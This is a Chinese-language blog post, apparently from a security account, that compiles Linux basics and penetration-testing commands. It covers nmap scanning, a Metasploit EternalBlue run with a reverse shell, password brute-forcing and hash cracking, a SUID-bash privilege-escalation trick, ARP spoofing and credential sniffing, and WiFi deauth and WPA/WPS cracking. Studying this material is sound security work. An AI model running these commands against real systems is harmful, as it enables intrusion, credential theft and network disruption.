当前位置：首页>Linux>知识分享 | 《Linux & 安全测试命令最全整理:一套命令,让你玩转系统,小白也能看懂的命令行指南》

知识分享 | 《Linux & 安全测试命令最全整理:一套命令,让你玩转系统,小白也能看懂的命令行指南》

2026-04-01 05:13:37

前言：新漏洞频发，攻击手段日新月异。这里是小安数记pro。专注网络安全领域，日常更新分享，带你穿透技术迷雾。左上角点击关注，你的支持是小编创作的最大动力。

由于公众号推送机制调整，现在只有常读和星标的公众号才会显示大图推送。防止大家找不到，收不到及时咨询，建议大家将小安数记pro按照上面图片设置为星标，之后就可以及时收到咨询！！！

本平台所有内容（包括技术文章、工具及方法）仅供网络安全从业人员在合法授权环境下进行学习与研究，严禁用于任何非法用途。使用者需在自有或完全授权的环境中操作，并对自身行为承担全部责任。因使用本平台内容导致的任何损失，本平台不承担责任。我们保留随时更新本声明的权利，不另行通知，持续使用即视为接受修改内容。请务必遵守法律法规，共同维护健康的网络安全研究环境。本文仅展示本人自己使用推荐和分享感受，并不做任何商业行为。作者只负责分享自己实践过程。

无论你是运维新人、开发同学，还是对网络安全感兴趣的小伙伴，这篇文章都将是你命令行的“新华字典”，建议收藏并分享到你的技术圈子！

引言：为什么你需要这份手册？

面对黑乎乎的终端（Terminal），你是否感到迷茫？想进行简单的安全测试，却不知从何敲起？

别担心，我们将复杂的Linux与安全测试命令，按照从基础到高阶、从系统到网络的逻辑，整理成十大模块。每个命令都附带核心解释、常见用法及避坑指南，助你快速上手，告别“面向搜索引擎编程”。

一、基础系统/目录操作

新手须知：在Linux中，一切皆文件。操作前，务必清楚你所在的目录（pwd），这是所有操作的安全起点。

1. ls —— 列出当前目录文件/文件夹2. ls -l —— 详细列出文件属性（权限、大小、修改时间）3. ls -a —— 显示隐藏文件（包含 . 和 ..）4. ls -la —— 详细显示所有文件全都要！（含隐藏）5. cd / —— 切换到根目录6. cd .. —— 切换到上一级目录7. cd ~ 或 cd —— 切换到当前用户主目录，家目录8. cd - —— 切换到上一次操作的目录9. pwd —— 查看当前所在绝对路径10. mkdir test —— 创建名为 test 的文件夹11. mkdir -p /a/b/c —— 递归创建多级目录12. rm file —— 删除单个文件13. rm -f file —— 强制删除文件（不提示）14. rm -r dir —— 递归删除文件夹及内部内容这是 Linux 最危险的命令之一！误操作示例：rm -rf / 或 rm -rf /* 会瞬间清空整个系统。永远 先用 ls 确认路径，再执行带 -r 或 -rf 的删除。15. rm -rf dir —— 强制递归删除（高危 ，谨慎使用）16. cp file /tmp/ —— 复制文件到指定目录17. cp -r dir /tmp/ —— 递归复制文件夹18. mv file /tmp/ —— 移动文件到指定目录（也可用于重命名）19. mv oldname newname —— 给文件/文件夹重命名20. touch newfile —— 创建空文件21. chmod 777 file —— 赋予所有用户读写执行权限切勿随意使用chmod 777，这等于大门全开。安全场景下，文件用644，目录或脚本用755是更佳实践。常见安全组合：文件：chmod 644（拥有者读写，其他人只读）目录/可执行脚本：chmod 755（拥有者全权，其他人读+执行）22. chmod 755 file —— 所有者读写执行，其他用户读执行23. chown root:root file —— 修改文件所属用户和组为 root24. df -h —— 查看磁盘空间（人性化显示）25. free -h —— 查看内存/交换分区使用情况

二、文件处理：查看与编辑的艺术

核心技巧：查看大日志文件，用 `tail -f`实时追踪；简单编辑用 `nano`，高手进阶用 `vim`；在文件中搜索关键词，`grep`是你的最佳伴侣

1. cat file —— 正序查看文件全部内容2. tac file —— 倒序查看文件全部内容3. head file —— 查看前 10 行4. head -n 20 file —— 查看前 20 行5. tail file —— 查看后 10 行6. tail -n 20 file —— 查看后 20 行7. tail -f file —— 实时监控文件变化（日志分析最常用）   tail -f filename实时监控日志更新，运维必备。8. more file —— 分页查看（空格/回车翻页）9. less file —— 高级分页查看（支持上下翻页、/ 搜索）10. nano file —— 简易文本编辑器11. vim file —— 高级编辑器（按 i 编辑，Esc 退出编辑，:wq 保存退出，:q! 强制退出）12. grep "keyword" file —— 在文件中搜索关键词13. grep -i "keyword" file —— 忽略大小写搜索14. grep -r "keyword" dir —— 递归搜索整个目录15. wc -l file —— 统计文件行数

三、网络基础：连接世界的桥梁

1. ifconfig —— 查看/配置网络接口（旧命令 ）2. ip a 或 ip addr —— 查看网络接口信息（现代命令）。3. ip addr add 192.168.1.100/24 dev eth0 —— 临时添加 IP（重启丢失 ）网卡名说明 ：eth0 仅为示例，现代系统常见 ens33 / enp0s3 / wlan0 等，用 ip link 查看真实名称。很多工具支持 -i any（所有接口）。永久配置建议用 nmcli 或 Netplan。4. route -n —— 查看路由表5. ip route —— 现代路由查看/配置命令6. ping ip —— 测试连通性（默认无限发送，按 Ctrl+C 停止）7. ping -c 4 ip —— 发送 4 个包后停止8. ping -i 0.5 ip —— 每 0.5 秒发一个包（快速探测）9. netstat -tulnp —— 查看监听端口及进程（过时 ，推荐 ss）10. netstat -an —— 查看所有连接（过时 ）11. ss -tulnp —— 查看本机监听端口及对应进程（netstat的现代替代品，速度更快）。口诀 ：新系统一律用 ss！12. arp -a —— 查看 ARP 缓存表13. arp -s ip mac —— 静态绑定 IP 和 MAC14. hostname —— 查看主机名15. hostname newname —— 临时修改主机名16. curl url —— 访问 URL 并显示内容17. wget url —— 下载文件到当前目录18. wget -O newname url —— 下载并自定义文件名19. curl ifconfig.me —— 查看本机公网 IP（备选：curl icanhazip.com 或 curl ip.sb）20. telnet ip port —— 测试指定端口是否开放

四、信息收集：洞察系统内幕

渗透测试第一步：信息收集。了解系统自身情况，是发现弱点的前提。

1. uname -a —— 查看内核版本、系统架构、主机名等2. cat /etc/issue —— 查看系统发行版简要信息3. cat /etc/os-release —— 详细查看系统版本信息（推荐）4. whoami —— 查看当前登录用户名5. who —— 查看当前所有登录系统的用户6. w —— 查看当前登录用户及正在执行的操作7. last —— 查看系统登录历史记录8. ps -ef —— 查看所有运行的进程（详细信息）9. ps aux —— 以 BSD 格式查看所有进程10. top —— 实时监控系统进程（资源占用、PID 等，按 q 退出）11. pstree —— 以树形结构查看进程关系12. netstat -antp —— 查看所有 TCP 连接及对应进程（过时，建议用 ss）13. find / -name "*.sh" —— 从根目录搜索所有 .sh 后缀的文件提示 ：从根目录搜索很慢，建议指定路径如 find /home -name ...14. find / -perm -4000 -type f 2>/dev/null —— 搜索 SUID 权限文件（常用于提权线索）15. arp-scan -l 或 arp-scan --localnet —— 扫描局域网存活主机（Kali 常用）16. fping -g 192.168.1.0/24 —— 快速扫描 C 段存活主机17. cat /etc/passwd —— 查看系统所有用户信息18. cat /etc/group —— 查看系统所有用户组信息19. cat /var/log/auth.log —— 查看系统认证日志（登录、sudo 操作等）20. lsof -i:80 —— 查看占用 80 端口的进程

五、扫描探测： reconnaissance的艺术

Nmap是端口扫描的“瑞士军刀”，但其图形化界面Zenmap对新手更友好。

1. nmap ip —— 默认扫描目标（1000 个常用端口）2. nmap -sn 192.168.1.0/24 —— 仅扫描网段存活主机（无端口扫描）3. nmap -p 80 ip —— 仅扫描 80 端口4. nmap -p 1-65535 ip —— 扫描所有端口5. nmap -p 80,443,22 ip —— 扫描指定多个端口6. nmap -sT ip —— TCP 全连接扫描（易被检测）7. nmap -sS ip —— TCP SYN 半开放扫描（隐蔽，默认推荐）区别 ：-sS 只发 SYN，不完成握手，不易被记录；-sT 完整握手，像正常访问。8. nmap -sU ip —— UDP 端口扫描9. nmap -sV ip —— 扫描端口并探测服务版本信息10. nmap -O ip —— 探测目标操作系统类型（大写 O）11. nmap -A ip —— 全面扫描（存活+端口+版本+OS+脚本）12. nmap -T4 ip —— 提高扫描速度（-T0 最慢，-T5 最快）13. nmap -oN result.txt ip —— 保存为普通文本14. nmap -oX result.xml ip —— 保存为 XML 格式15. nmap --script=vuln ip —— 加载漏洞脚本探测已知漏洞16. nmap --script=brute ip —— 加载暴力破解脚本（弱口令尝试）17. nmap -Pn ip —— 跳过主机存活检测，直接扫端口（目标禁 ping 时必加）18. nmap -D RND:10 ip —— 使用随机 10 个假 IP 欺骗源地址（隐藏真实 IP）19. masscan 192.168.1.0/24 -p 80,443 —— 超高速端口扫描（比 nmap 快得多）20. zenmap —— 打开 Nmap 图形化界面（适合新手）⚠️ 2026年提示：使用漏洞脚本（--script=vuln）时，结果可能存在误报，建议结合 -sV（版本探测）的结果综合判断。

六、漏洞利用：Metasploit框架初探
Metasploit (msf) 是集成化漏洞利用平台，流程化操作降低了入门门槛。

1. msfconsole 或 msfconsole -q —— 打开 Metasploit 控制台（-q 安静模式推荐）2. search ms17-010 —— 搜索指定漏洞模块3. use exploit/windows/smb/ms17_010_eternalblue —— 加载漏洞利用模块4. show options —— 查看模块所需参数5. set RHOSTS ip —— 设置目标 IP6. set LHOST ip —— 设置本机攻击 IP（反弹 shell 用）7. set LPORT 4444 —— 设置监听端口8. exploit 或 run —— 执行漏洞利用9. back —— 退出当前模块10. sessions -l —— 查看所有反弹 shell 会话11. sessions -i 1 —— 进入编号 1 的 shell 会话12. sessions -k 1 —— 关闭编号 1 的会话13. nessusd start —— 启动 Nessus 服务（旧写法）14. nessuscli scan --launch 123 —— 启动指定 Nessus 扫描任务注意 ：Nessus 新版本多用 systemctl 管理或 web 界面操作。

七、密码破解：安全与攻防的矛

请注意：未经授权的密码破解是违法行为。以下工具仅用于安全测试、教学研究及对自身系统的合法性评估。

1. hydra -l root -P pass.txt ssh://ip —— 破解 SSH（用户名 + 密码字典）提示 ：在线暴力易被封 IP，可加 -t 4 限制线程。2. hydra -L user.txt -P pass.txt rdp://ip —— 破解 RDP3. hydra -l admin -P pass.txt http-get://ip —— 破解 HTTP GET 登录4. hydra -l admin -P pass.txt mysql://ip —— 破解 MySQL5. john --wordlist=pass.txt passwd —— John the Ripper 破解系统密码文件6. john --show passwd —— 查看已破解密码7. hashcat -m 0 hash.txt pass.txt —— Hashcat 破解 MD58. hashcat -m 1000 hash.txt pass.txt —— 破解 NTLM9. crunch 6 8 0123456789 -o 6-8num.txt —— 生成 6-8 位纯数字字典10. crunch 8 8 abc123 -o 8char.txt —— 生成 8 位字母+数字字典11. cewl url -w webpass.txt —— 从网站爬取内容生成专属字典12. medusa -u root -P pass.txt -h ip -M ssh —— 美杜莎破解 SSH（速度快）13. sqlmap -u url --forms —— 检测 SQL 注入并尝试破解数据库14. fcrackzip -D -p pass.txt test.zip —— 破解 ZIP 压缩包15. 7z x test.zip -p123456 —— 用已知密码解压加密 ZIP

八、权限提升：从user到root的跃迁

在获得一个初始立足点后，提权（Privilege Escalation）是渗透测试的核心环节。

1. sudo -l —— 查看当前用户可用的 sudo 命令（提权核心）2. sudo su —— 以 root 权限切换用户3. su root —— 切换到 root（需 root 密码）4. id —— 查看当前用户 UID、GID、组信息5. find / -type f -perm -4000 2>/dev/null —— 搜索 SUID 文件常见可利用 ：find、vim、nano、less、more、cp 等（视系统版本而定）6. find / -type f -perm -2000 2>/dev/null —— 搜索 SGID 文件7. chkrootkit —— 检测 rootkit 后门8. rkhunter --check —— 高级 rootkit 检测9. unshare -rm /bin/bash —— 利用内核漏洞临时提权（老漏洞，成功率低）10. cp /bin/bash /tmp/bash; chmod 4755 /tmp/bash —— 制作 SUID bash11. ./tmp/bash -p —— 执行 SUID bash 提权现代防护 ：很多系统有 no-new-privs 等机制，成功率大幅下降，仅学习参考。12. ps aux | grep root —— 查看 root 进程（寻找提权突破口）13. cat /proc/cmdline —— 查看启动参数（找提权线索）14. lsmod —— 查看加载的内核模块15. exploit-db —— 打开 Exploit-DB 漏洞库（Kali 内置）

九、流量分析：捕捉网络中的秘密

Wireshark是图形化抓包分析的不二之选，而其命令行版本TShark同样强大。

1. tcpdump -i any —— 在所有接口抓包（推荐 any 而非 eth0）2. tcpdump -i any -w cap.pcap —— 抓包保存为 pcap 文件3. tcpdump -i any port 80 —— 仅抓 80 端口流量4. wireshark —— 打开图形化抓包工具5. tshark -i any —— Wireshark 命令行版6. arpspoof -i any -t 192.168.1.100 192.168.1.1 —— ARP欺骗（中间人攻击的一种）。   2026 年推荐 ：bettercap（功能更全，支持 HTTPS/DNS 等中间人攻击）7. driftnet -i any —— 嗅探局域网图片流量8. urlsnarf -i any —— 嗅探 URL 访问记录9. dsniff -i any —— 综合嗅探（捕获 FTP/HTTP/SMB 凭证）10. ngrep -d any "password" —— 过滤包含关键词的网络流

十、无线安全：空气里的攻防战

需要支持监听模式的无线网卡（如Kali Linux常见配置）。

1. airmon-ng start wlan0 —— 开启监听模式（网卡变为 wlan0mon）2. airmon-ng stop wlan0mon —— 关闭监听模式3. airodump-ng wlan0mon —— 扫描周围 WiFi4. airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w wifi wlan0mon —— 定向抓包5. aireplay-ng --deauth 0 -a XX:XX:XX:XX:XX:XX wlan0mon —— 无限 deauth 断网攻击6. aircrack-ng -w pass.txt wifi-01.cap —— 字典破解 WPA/WPA27. reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vV —— 破解 WPS8. wash -i wlan0mon —— 扫描开启 WPS 的设备9. kismet —— 无线流量嗅探/扫描（图形化）10. bully -i wlan0mon -b XX:XX:XX:XX:XX:XX —— WPS 破解（成功率较高）提示 ：运行前常需 airmon-ng check kill 杀干扰进程